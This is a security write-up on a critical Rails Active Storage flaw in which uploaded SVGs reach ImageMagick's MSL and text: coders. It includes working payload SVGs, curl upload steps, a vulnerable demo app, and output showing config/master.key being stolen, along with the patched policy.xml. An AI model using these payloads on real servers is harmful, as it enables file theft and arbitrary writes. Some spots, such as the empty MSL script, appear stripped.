The critical Active Storage ImageMagick issue

Develop the right mindset for Rails security

Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.

Get the course for $99

On the 4th of November the Rails security team shipped 8.0.5.2 and 8.1.4.1, and it is a big one: 21 security issues in a single release. One of them is rated critical, GHSA-f3w6-w445-fwh9, “Possible arbitrary file write and read in Active Storage image analysis”, with a CVSS score of 9.8.

As usual I wanted to understand how bad the issue really is. The TLDR version is: if you accept image uploads, use the default :mini_magick variant processor and run a typical distro ImageMagick, then uploading one SVG file reads and writes arbitrary files on your server. No variant creation, preview, etc is required, just one upload request.

ImageMagick does not trust a file extension obviously, it picks a coder based on the file’s content, and a handful of ImageMagick’s coders don’t treat the file as an image at all, they treat it as a script that names other files. The clearest example is MSL, the Magick Scripting Language, a little XML dialect that reads and writes whatever paths you put in it.

Active Storage never restricted any of those coders. The relevant part is when the analyzer runs. Here is the vulnerable analyzer from 8.0.5.1:

download_blob_to_tempfile do |file|
  image = instrument("mini_magick") do
    MiniMagick::Image.new(file.path)
  end

  if image.valid?
    yield image
  else
    logger.info "Skipping image analysis because ImageMagick doesn't support the file"
    {}
  end

image.valid? shells out to identify, and the metadata extraction that follows calls image.width, image.height and image["%[orientation]"], which are more identify calls. All of that happens at attach time. You don’t need to call variant, you don’t need a preview, you don’t need to call analyze yourself. Someone attaches a file, Active Storage runs ImageMagick on it, and the file’s own bytes decide which coder gets to run.

The Rails commit that fixes this, ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776, says this:

An uploaded SVG reached ImageMagick’s MSL coder through the ImageMagick analyzer at attach time, and MSL reads and writes the files its script names. Active Storage constrained none of ImageMagick’s coders.

Active Storage only passes image files to the ImageMagick analyzer, as it only accepts blobs where blob.image? is true, and that is just content_type&.start_with?("image"). Active Storage does not trust the content type the client declares though, it re-sniffs the first 4KB with Marcel:

def identify_content_type
  Marcel::MimeType.for download_identifiable_chunk, name: filename.to_s, declared_type: content_type
end

This sounds like it might prevent this vulnerability to reach ImageMagick, but it doesn’t, because an SVG really is an image as far as Marcel is concerned:

name=logo.svg  declared="image/svg+xml"  => image/svg+xml  image?=true

There is a pre-requisite though and ImageMagick’s SVG coder has to be its own internal renderer rather than librsvg and this is the case for instance on Ubuntu 22.04:

$ identify -list format | grep -E '^ *(SVG|MSL)\b'
      MSL* MSL       rw+   Magick Scripting Language
      SVG* SVG       rw+   Scalable Vector Graphics (XML 2.9.13)

XML 2.9.13 above means it is libxml, not librsvg, because Ubuntu’s ImageMagick is compiled against libxml, so SVG rendering goes through ImageMagick’s own parser even with librsvg2-2 installed, and that parser resolves 

text: is the trick that turns a non-image file into something ImageMagick will load, it renders the file’s contents as an image. <write> then drops it wherever you ask.

Then the SVG you upload, which just points at the script:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" width="64" height="64">
  <image xlink:href="msl:/work/inner.msl" width="64" height="64"/>
</svg>

To make sure I was not fooling myself with hand-run identify commands, I wrote a script that replicates what ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick does, using the same MiniMagick calls:

require "mini_magick"
image = MiniMagick::Image.new(ARGV[0])
puts "valid? = #{image.valid?}"
puts "width=#{image.width} height=#{image.height}"
puts "orientation=#{image["%[orientation]"].inspect}"

And ran it against the SVG inside an Ubuntu 22.04 container with nothing but imagemagick and mini_magick installed:

$ ruby analyzer_sim.rb /work/b.svg
valid? = true
raised: MiniMagick::Error
MASTER_KEY.png exists? true

$ ls -la /work/MASTER_KEY.png
-rw-r--r-- 1 root root 4554 Nov  7 14:15 /work/MASTER_KEY.png
$ identify /work/MASTER_KEY.png
/work/MASTER_KEY.png PNG 612x792 612x792+0+0 16-bit Grayscale Gray 4554B

valid? returned true, and by the time it did, ImageMagick had already read a file I chose and written it out to a path I chose, as a 612x792 PNG of its contents. That is the arbitrary read and the arbitrary write, from MiniMagick::Image#valid?, which is the first thing the analyzer calls.

Narrowing it down, the write happens on identify -format %w too, which is exactly what MiniMagick::Image#width runs:

=== b.svg (identify -format %w, i.e. MiniMagick#width) ===
  *** MSL RAN ***

So there is no version of this where the analyzer “just checks the dimensions” and stays safe. Reading the dimensions is the exploit basically.

There is one challenge though, the MSL script has to be on the disk somewhere the server can read. With the Disk service that is not much of an obstacle, because you upload it as a first attachment and the storage path is derived from the blob key, which the API hands back to you:

def folder_for(key)
  [ key[0..1], key[2..3] ].join("/")
end

So the file lands at <root>/<key[0..1]>/<key[2..3]>/<key>. Upload the script, read the key out of the response, then upload an SVG pointing msl: at that path.

Let’s exploit

Time to put it together in an app. A few years ago I wrote about building a single file Rails application, and it is the perfect tool for this too. Here is app.ru, pinned to the vulnerable version of Rails:

# frozen_string_literal: true
require "bundler/inline"

gemfile(true) do
  source "https://rubygems.org"
  gem "rails", "8.0.5.1"
  gem "mini_magick", "5.0.1"
  gem "sqlite3", "~> 2.0"
  gem "puma"
end

require "rails/all"

ENV["DATABASE_URL"] = "sqlite3:poc.sqlite3"

class App < Rails::Application
  config.root = __dir__
  config.secret_key_base = "poc_secret"
  config.eager_load = false
  config.consider_all_requests_local = true
  config.hosts.clear
  config.active_job.queue_adapter = :inline
  config.active_storage.service = :local
  config.active_storage.variant_processor = :mini_magick
  config.active_storage.service_configurations = {
    "local" => { "service" => "Disk", "root" => File.join(__dir__, "storage") }
  }
  routes.append { post "/upload", to: "uploads#create" }
end

App.initialize!

ActiveRecord::Schema.verbose = false
ActiveRecord::Schema.define do
  create_table :documents, force: true
  create_table :active_storage_blobs, force: true do |t|
    t.string   :key,          null: false
    t.string   :filename,     null: false
    t.string   :content_type
    t.text     :metadata
    t.string   :service_name, null: false
    t.bigint   :byte_size,    null: false
    t.string   :checksum
    t.datetime :created_at,   null: false
  end
  create_table :active_storage_attachments, force: true do |t|
    t.string   :name,        null: false
    t.string   :record_type, null: false
    t.bigint   :record_id,   null: false
    t.bigint   :blob_id,     null: false
    t.datetime :created_at,  null: false
  end
  create_table :active_storage_variant_records, force: true do |t|
    t.bigint :blob_id,          null: false
    t.string :variation_digest, null: false
  end
end

class Document < ActiveRecord::Base
  has_one_attached :file
end

class UploadsController < ActionController::Base
  skip_forgery_protection

  def create
    document = Document.create!
    document.file.attach(params[:file])
    blob = document.file.blob

    render json: {
      key:          blob.key,
      filename:     blob.filename.to_s,
      content_type: blob.content_type,
      analyzed:     blob.analyzed?,
      metadata:     blob.metadata,
      stored_at:    ActiveStorage::Blob.service.path_for(blob.key)
    }
  end
end

run App

The controller does nothing special, it creates a record, attaches the uploaded file and renders what Active Storage made of it. No variant, no preview, no analyze. The stored_at in the response is a convenience so you can see what is happening, an attacker does not need it, the key is enough to work the path out with the folder_for rule above.

I ran this on Ubuntu 22.04 with imagemagick installed from the archive, which gives ImageMagick 6.9.11-60 and the libxml SVG renderer. Jammy only packages Ruby 3.0 and Rails 8 wants 3.2 or newer, so I built a Ruby for it, which is the only unusual thing about the setup. Start the app with rackup app.ru -p 9292, and give it an example master key:

$ rails secret > config/master.key

Then we first upload the MSL script. It is not an image and Active Storage does not care, it just needs to land on the disk:

$ cat read.msl


$ curl -s -F 'file=@read.msl' http://127.0.0.1:9292/upload
{"key":"b8u0j6uve2t828hqk6e1d8ep03ah","filename":"read.msl",
 "content_type":"application/vnd.mobius.msl","analyzed":true,
 "metadata":{"identified":true,"analyzed":true},
 "stored_at":"/app/storage/b8/u0/b8u0j6uve2t828hqk6e1d8ep03ah"}

The second upload is the SVG, pointing at the path we just got back:

$ cat evil.svg
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" width="64" height="64">
  <image xlink:href="msl:/app/storage/b8/u0/b8u0j6uve2t828hqk6e1d8ep03ah"
         width="64" height="64"/>
</svg>

$ curl -s -F 'file=@evil.svg' http://127.0.0.1:9292/upload
{"key":"21ewgrp485ofstuz0mpjzvatef4y","filename":"evil.svg",
 "content_type":"image/svg+xml","analyzed":null,
 "metadata":{"identified":true},
 "stored_at":"/app/storage/21/ew/21ewgrp485ofstuz0mpjzvatef4y"}

$ ls -la public/
-rw-r--r-- 1 root root 4847 Nov  8 11:13 MASTER_KEY.png

I pointed the write at public/ on purpose, because that is also the access the output, since Rails serves that directory, so the stolen file get be downloaded easily:

$ curl -s -o master-key.png http://127.0.0.1:9292/MASTER_KEY.png
200 4847

$ identify MASTER_KEY.png
got.png PNG 612x792 612x792+0+0 16-bit Grayscale Gray 4847B

And this is what we have in the logs:

[ActiveStorage::AnalyzeJob] Skipping image analysis due to an ImageMagick error:
`identify -format %[orientation] /tmp/ActiveStorage-2-20261108-17210-6gwb1y.svg[0]`
failed with status: nil and error:

The analyzer rescued the error and moved on. The file was written before identify died, so the only trace in the application log is a line saying image analysis was skipped.

What happens then if you are on S3? It turns out the service makes no difference at all to reaching ImageMagick, because Blob#open downloads the blob to a tempfile either way:

service.open(
  key,
  checksum: checksum,
  verify: !composed,
  name: [ "ActiveStorage-#{id}-", filename.extension_with_delimiter ],
  tmpdir: tmpdir,
  &block
)

ImageMagick is handed a local path regardless, and it still parses your SVG. The arbitrary read does not even need the second file, text: on its own is enough:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" width="612" height="792">
  <image xlink:href="text:/rails/config/master.key" width="612" height="792"/>
</svg>

$ ruby analyzer_sim.rb read_only.svg
valid? = true
width=612 height=792
orientation="Undefined"

$ convert read_only.svg READ_ONLY.png
$ identify READ_ONLY.png
READ_ONLY.png PNG 612x792 612x792+0+0 16-bit Grayscale Gray 4826B

You open that PNG and read the master key. Database config, private key, application source, all the same. /proc/self/environ doesn’t work unfortunately though, text: stops at the first NUL so you get a single environment variable rather than the whole environment.

What S3 takes away is the write. MSL needs a script that is already on the local filesystem and is reached with an explicit msl: prefix, and on S3 there is no such file. There is no magic signature for MSL, so a single uploaded file wouldn’t work I believe:

$ identify -list magic | grep -iE '^(MSL|SVG)'
SVG            1 ?XML
SVG            1 ?xml
SVG            1 SVG
SVG            1 svg

Anything starting with <?xml is claimed by SVG. The extension does not select the coder either, only the prefix does:

$ identify /work/x.msl
identify-im6.q16: no decode delegate for this image format `' @ error/constitute.c/ReadImage/580.

Nested reads are not glob expanded, so you cannot wildcard your way to the tempfile:

$ convert /work/glob.svg /tmp/out.png
convert-im6.q16: unable to open image `/work/in*.msl': No such file or directory
convert-im6.q16: unable to open file `/work/in*.msl' @ error/msl.c/ProcessMSLScript/7779.

I also tried pointing msl: at log/production.log with the script injected into a log line, on the theory that the log is attacker controlled content at a known path. The parser finds nothing and writes nothing, the XML has to be the whole file. And guessing the tempfile is pretty much impossible, the name as the pid and a 32 bit random suffix:

/tmp/ActiveStorage-42-20261107-2703707-w8yhxz.svg

On a default S3 app the read happens tough, but you cannot see the result, because image/svg+xml is not in variable_content_types:

config.active_storage.variable_content_types = %w(
  image/png
  image/gif
  image/jpeg
  image/tiff
  image/bmp
  image/vnd.adobe.photoshop
  image/vnd.microsoft.icon
  image/webp
  image/avif
  image/heic
  image/heif
)

so blob.variant raises ActiveStorage::InvariableError, and the analyzer keeps only the width and the height and throws the rendered image away. Your secrets get typeset into a PNG that nobody ever sees.

That stops being true the moment the application does anything else with the upload. Add image/svg+xml to variable_content_types, run uploads through image_processing yourself, or mirror to a Disk service, and either the rendered file becomes a stored and served variant, or the predictable path is back and. “We are on S3” doesn’t save you from this issue, just makes exfiltration more difficult.

Interestingly, on my Arch box, with its wide open policy, the same payload fails:

$ magick identify a.msvg
identify: explicit coder not allowed `msl:/.../inner.msl'
  @ error/constitute-private.h/StrictReadImage/59.

StrictReadImage is a recent ImageMagick hardening that refuses an explicit coder prefix on a nested read. It is why I spent a while convinced this was hard to reach: my own ImageMagick was blocking the last hop, for reasons that had nothing to do with my policy. If you are on ImageMagick 7.1.2 or similar you were saved by that check, not by policy.xml.

It is not only an ImageMagick 7 thing either, and this is the part I found most annoying while building the proof of concept. Debian Bookworm ships the same upstream 6.9.11-60 as Ubuntu 22.04, with the check backported:

$ identify /tmp/t.svg
identify-im6.q16: ExplicitCoderNotAllowed `msl:/app/storage/32/wi/32wiv8...'
  @ error/constitute-private.h/StrictReadImage/73.

Ubuntu 24.04, on 6.9.12-98, ignores the nested reference and writes nothing. Ubuntu 22.04, on the same version number as Debian, runs the script. Whether you are exploitable comes down to which distro built your ImageMagick.

Worth mentioning too that on a librsvg-backed build a plain .svg goes to librsvg, which ignores the href. An attacker could get around that by naming the upload .msvg, ImageMagick’s own SVG renderer, and starting the file with a newline so the <?xml magic does not fire and the extension decides. Marcel still calls it an image, because the declared content type wins when the magic is unrecognised:

name=logo.msvg  declared="image/svg+xml"  => image/svg+xml  image?=true

The fix is a policy.xml inside the gem:

$ gem contents activestorage --version 8.1.4.1 | grep policy
.../activestorage-8.1.4.1/lib/active_storage/image_magick/policy.xml

This is prepended to MAGICK_CONFIGURE_PATH for every ImageMagick process MiniMagick creates:

def self.apply_policy # :nodoc:
  operator_paths = operator_paths(MiniMagick.cli_env["MAGICK_CONFIGURE_PATH"]).presence ||
    operator_paths(ENV["MAGICK_CONFIGURE_PATH"])

  MiniMagick.cli_env = MiniMagick.cli_env.merge("MAGICK_CONFIGURE_PATH" => configure_path(operator_paths)).freeze
end

ImageMagick reads every policy.xml on its search path and applies all of them, so this adds to whatever is already configured rather than replacing it. The policy denies MSL, the coders that read or delete other files (EPHEMERAL, TEXT), MPC, the ones that display to a screen, the ones that fetch references (URL, HTTP, HTTPS, FTP, FILE), the whole Ghostscript family plus the gs delegate, and @ indirection:

<policy domain="coder" rights="none" pattern="MSL"/>
<policy domain="coder" rights="none" pattern="EPHEMERAL"/>
<policy domain="coder" rights="none" pattern="TEXT"/>
<policy domain="coder" rights="none" pattern="MPC"/>
<policy domain="delegate" rights="none" pattern="gs"/>
<policy domain="coder" rights="none" pattern="PS"/>
<policy domain="coder" rights="none" pattern="PDF"/>
<policy domain="path" rights="none" pattern="@*"/>

Note that denying MSL alone would not have been enough, TEXT is what turned /app/config/master.key into a loadable image in my payload.

Develop the right mindset for Rails security

Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.

Get the course for $99